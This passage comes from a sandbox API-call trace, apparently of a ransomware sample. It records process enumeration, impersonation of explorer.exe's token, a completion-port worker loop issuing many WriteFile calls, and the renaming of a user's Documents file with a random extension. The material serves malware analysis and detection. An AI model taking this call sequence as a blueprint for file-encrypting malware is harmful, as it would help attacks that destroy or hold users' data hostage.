bInheritHandle=0, dwProcessId=0x464) returned 0x238 [0110.365] OpenProcessToken (in: ProcessHandle=0x238, DesiredAccess=0xf01ff, TokenHandle=0x401ff6c | out: TokenHandle=0x401ff6c*=0x254) returned 1 [0110.365] ImpersonateLoggedOnUser (hToken=0x254) returned 1 [0110.365] CloseHandle (hObject=0x238) returned 1 [0110.365] CloseHandle (hObject=0x254) returned 1 [0110.365] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x401ff80, lpCompletionKey=0x401ff7c, lpOverlapped=0x401ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x401ff80, lpCompletionKey=0x401ff7c, lpOverlapped=0x401ff84) returned 1 [0128.310] GetCurrentProcess () returned 0xffffffff [0128.310] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x401ff64 | out: TokenHandle=0x401ff64*=0x0) returned 0 Thread: id = 27 os_tid = 0xf80 [0110.365] GetCurrentProcess () returned 0xffffffff [0110.365] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x411ff3c | out: TokenHandle=0x411ff3c*=0x254) returned 1 [0110.365] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x19, TokenInformation=0x411feec, TokenInformationLength=0x4c, ReturnLength=0x411ff38 | out: TokenInformation=0x411feec, ReturnLength=0x411ff38) returned 1 [0110.365] IsValidSid (pSid=0x411fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.366] CloseHandle (hObject=0x254) returned 1 [0110.366] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x254 [0110.371] Process32FirstW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.372] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.373] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.374] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.375] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.375] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.376] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.377] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.377] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.378] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.379] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.379] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.380] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.381] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.381] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.382] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.383] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.383] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.384] Process32NextW (in: hSnapshot=0x254, lppe=0x411fcf8 | out: lppe=0x411fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.384] CloseHandle (hObject=0x254) returned 1 [0110.385] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x254 [0110.385] OpenProcessToken (in: ProcessHandle=0x254, DesiredAccess=0xf01ff, TokenHandle=0x411ff6c | out: TokenHandle=0x411ff6c*=0x238) returned 1 [0110.385] ImpersonateLoggedOnUser (hToken=0x238) returned 1 [0110.385] CloseHandle (hObject=0x254) returned 1 [0110.385] CloseHandle (hObject=0x238) returned 1 [0110.385] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.358] CloseHandle (hObject=0x348) returned 1 [0111.370] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd2) returned 0x30a82f0 [0111.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\D2B5.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\d2b5.csv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\D2B5.csv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\d2b5.csv.06ak3t5y")) returned 1 [0111.678] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0111.678] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069a80) returned 1 [0111.678] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4542148) returned 1 [0111.678] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.678] WriteFile (in: hFile=0x258, lpBuffer=0x397cdb8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397cd90 | out: lpBuffer=0x397cdb8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397cd90) returned 0x0 [0111.678] RtlGetLastWin32Error () returned 0x3e5 [0111.678] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.678] ReadFile (in: hFile=0x40c, lpBuffer=0x4796f10, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x0, lpOverlapped=0x4796dc0 | out: lpBuffer=0x4796f10*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4796dc0) returned 1 [0111.679] RtlGetLastWin32Error () returned 0x3e5 [0111.679] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.679] WriteFile (in: hFile=0x25c, lpBuffer=0x38ab6f0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab6c8 | out: lpBuffer=0x38ab6f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab6c8) returned 0x0 [0111.679] RtlGetLastWin32Error () returned 0x3e5 [0111.679] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.680] WriteFile (in: hFile=0x264, lpBuffer=0x38c4550, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38c4528 | out: lpBuffer=0x38c4550, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38c4528) returned 0x0 [0111.680] RtlGetLastWin32Error () returned 0x3e5 [0111.680] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.680] WriteFile (in: hFile=0x260, lpBuffer=0x38d2ec8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38d2ea0 | out: lpBuffer=0x38d2ec8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38d2ea0) returned 0x0 [0111.680] RtlGetLastWin32Error () returned 0x3e5 [0111.680] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.680] WriteFile (in: hFile=0x270, lpBuffer=0x38dff98, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38dff70 | out: lpBuffer=0x38dff98, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38dff70) returned 0x0 [0111.681] RtlGetLastWin32Error () returned 0x3e5 [0111.681] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.681] WriteFile (in: hFile=0x280, lpBuffer=0x38f2f30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f08 | out: lpBuffer=0x38f2f30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f08) returned 0x0 [0111.681] RtlGetLastWin32Error () returned 0x3e5 [0111.681] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.681] WriteFile (in: hFile=0x360, lpBuffer=0x45b2ed8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45b2eb0 | out: lpBuffer=0x45b2ed8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45b2eb0) returned 0x0 [0111.681] RtlGetLastWin32Error () returned 0x3e5 [0111.681] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.682] WriteFile (in: hFile=0x364, lpBuffer=0x45ca5b0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45ca588 | out: lpBuffer=0x45ca5b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45ca588) returned 0x0 [0111.682] RtlGetLastWin32Error () returned 0x3e5 [0111.682] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.682] WriteFile (in: hFile=0x368, lpBuffer=0x45d1718, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45d16f0 | out: lpBuffer=0x45d1718, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45d16f0) returned 0x0 [0111.682] RtlGetLastWin32Error () returned 0x3e5 [0111.682] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.682] WriteFile (in: hFile=0x36c, lpBuffer=0x45e15d0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45e15a8 | out: lpBuffer=0x45e15d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45e15a8) returned 0x0 [0111.683] RtlGetLastWin32Error () returned 0x3e5 [0111.683] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.683] WriteFile (in: hFile=0x370, lpBuffer=0x45f6c70, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45f6c48 | out: lpBuffer=0x45f6c70, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45f6c48) returned 0x0 [0111.683] RtlGetLastWin32Error () returned 0x3e5 [0111.683] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.683] WriteFile (in: hFile=0x374, lpBuffer=0x4599360, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4599338 | out: lpBuffer=0x4599360, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4599338) returned 0x0 [0111.683] RtlGetLastWin32Error () returned 0x3e5 [0111.684] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.684] WriteFile (in: hFile=0x378, lpBuffer=0x38f7bc8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f7ba0 | out: lpBuffer=0x38f7bc8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f7ba0) returned 0x0 [0111.684] RtlGetLastWin32Error () returned 0x3e5 [0111.684] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.684] WriteFile (in: hFile=0x380, lpBuffer=0x46087f0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46087c8 | out: lpBuffer=0x46087f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46087c8) returned 0x0 [0111.685] RtlGetLastWin32Error () returned 0x3e5 [0111.685] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.685] WriteFile (in: hFile=0x384, lpBuffer=0x46204b0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4620488 | out: lpBuffer=0x46204b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4620488) returned 0x0 [0111.685] RtlGetLastWin32Error () returned 0x3e5 [0111.685] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.685] WriteFile (in: hFile=0x388, lpBuffer=0x46338c0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4633898 | out: lpBuffer=0x46338c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4633898) returned 0x0 [0111.685] RtlGetLastWin32Error () returned 0x3e5 [0111.685] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.685] WriteFile (in: hFile=0x38c, lpBuffer=0x464a900, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x464a8d8 | out: lpBuffer=0x464a900, lpNumberOfBytesWritten=0x0, lpOverlapped=0x464a8d8) returned 0x0 [0111.685] RtlGetLastWin32Error () returned 0x3e5 [0111.686] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.686] WriteFile (in: hFile=0x390, lpBuffer=0x38f84f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f84d0 | out: lpBuffer=0x38f84f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f84d0) returned 0x0 [0111.686] RtlGetLastWin32Error () returned 0x3e5 [0111.686] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.686] WriteFile (in: hFile=0x394, lpBuffer=0x4658598, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4658570 | out: lpBuffer=0x4658598, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4658570) returned 0x0 [0111.686] RtlGetLastWin32Error () returned 0x3e5 [0111.686] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.686] WriteFile (in: hFile=0x398, lpBuffer=0x466e7d0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x466e7a8 | out: lpBuffer=0x466e7d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x466e7a8) returned 0x0 [0111.687] RtlGetLastWin32Error () returned 0x3e5 [0111.687] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.687] WriteFile (in: hFile=0x39c, lpBuffer=0x467bf38, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x467bf10 | out: lpBuffer=0x467bf38, lpNumberOfBytesWritten=0x0, lpOverlapped=0x467bf10) returned 0x0 [0111.687] RtlGetLastWin32Error () returned 0x3e5 [0111.687] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.687] WriteFile (in: hFile=0x3a0, lpBuffer=0x468dc20, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x468dbf8 | out: lpBuffer=0x468dc20, lpNumberOfBytesWritten=0x0, lpOverlapped=0x468dbf8) returned 0x0 [0111.687] RtlGetLastWin32Error () returned 0x3e5 [0111.688] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.688] WriteFile (in: hFile=0x3a4, lpBuffer=0x459dc20, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459dbf8 | out: lpBuffer=0x459dc20, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459dbf8) returned 0x0 [0111.688] RtlGetLastWin32Error () returned 0x3e5 [0111.688] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.688] WriteFile (in: hFile=0x3a8, lpBuffer=0x4690740, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4690718 | out: lpBuffer=0x4690740, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4690718) returned 0x0 [0111.688] RtlGetLastWin32Error () returned 0x3e5 [0111.688] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.688] WriteFile (in: hFile=0x3ac, lpBuffer=0x46996c8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46996a0 | out: lpBuffer=0x46996c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46996a0) returned 0x0 [0111.689] RtlGetLastWin32Error () returned 0x3e5 [0111.689] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.689] WriteFile (in: hFile=0x3b0, lpBuffer=0x46a0d88, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46a0d60 | out: lpBuffer=0x46a0d88, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46a0d60) returned 0x0 [0111.689] RtlGetLastWin32Error () returned 0x3e5 [0111.689] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.689] WriteFile (in: hFile=0x3b4, lpBuffer=0x46b8488, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46b8460 | out: lpBuffer=0x46b8488, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46b8460) returned 0x0 [0111.690] RtlGetLastWin32Error () returned 0x3e5 [0111.690] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.690] WriteFile (in: hFile=0x3b8, lpBuffer=0x46c2d68, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46c2d40 | out: lpBuffer=0x46c2d68, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46c2d40) returned 0x0 